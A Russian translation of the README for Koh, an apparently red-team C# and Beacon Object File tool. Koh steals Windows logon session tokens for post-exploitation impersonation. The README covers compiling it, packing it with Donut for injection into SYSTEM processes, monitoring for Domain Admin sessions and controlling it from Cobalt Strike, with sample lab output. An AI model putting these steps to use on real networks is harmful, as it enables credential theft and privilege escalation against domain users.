
Захватывает токены сеансов входа Windows через утечку токенов, обеспечивая повторное использование учетных данных и олицетворение, с интеграцией BOF Cobalt Strike для кражи токенов после эксплуатации.
Koh — это набор инструментов на C# и Beacon Object File (BOF), который позволяет захватывать учетные данные пользователей путем целенаправленной утечки токенов/сеансов входа.
Некоторый код был вдохновлен проектом Elad Shamir's Internal-Monologue (без лицензии), а также KB180548. О том, почему это возможно и о подходе Koh, см. раздел Техническое описание этого README.
Более подробное объяснение мотивов создания Koh и его подхода см. в статье Koh: The Token Stealer.
@harmj0y является основным автором этого кода. @tifkin_ помог с подходом, реализацией BOF и некоторыми механизмами токенов.
Koh распространяется под лицензией BSD 3-Clause.
«Сервер» Koh захватывает токены и использует именованные каналы для управления и связи. Он может быть обернут в Donut и внедрен в любой высокой целостности процесс SYSTEM (см. Ошибка Inline Shenanigans).
Мы не планируем выпускать бинарные файлы Koh, поэтому вам придется компилировать самостоятельно :)
Koh собран под .NET 4.7.2 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл проекта .sln, выберите «Release» и соберите. Сборка Koh.exe и Donut-собранный PIC Koh.bin будут выведены в основную директорию. Блоб Donut совместим как с x86, так и с x64, и собирается с помощью следующих параметров с использованием версии 0.9.3 Donut из ./Misc/Donut.exe:
[ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort
Лицензия Donut — BSD 3-clause.
### Использование
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - перечисляет (не сетевые) сеансы входа
* **monitor** - отслеживает новые/уникальные (не сетевые) сеансы входа
* **capture** - захватывает один уникальный токен на каждый найденный SID для новых (не сетевых) сеансов входа
Идентификаторы безопасности групп (SID) также можно указать в командной строке, что заставит Koh отслеживать/захватывать только те сеансы входа, которые содержат указанные SID групп в информации о согласованном токене.
### Пример — перечисление сеансов входа```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Выводит только результаты, содержащие SID группы администраторов домена (-512) в информации о токене:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Текущий используемый клиент — это Beacon Object File в `.\Clients\BOF\`. Загрузите скрипт агрессора `.\Clients\BOF\KohClient.cna` в ваш клиент Cobalt Strike, чтобы включить управление BOF сервером Koh. Единственное требование для использования захваченных токенов — **SeImpersonatePrivilege**. Именованный канал связи имеет DACL для "Everyone", но использует базовый общий пароль (супер безопасно).
Для компиляции свежей версии в Linux с помощью Mingw см. скрипт `.\Clients\BOF\build.sh`. Единственное требование (по крайней мере в Debian) — `apt-get install gcc-mingw-w64`.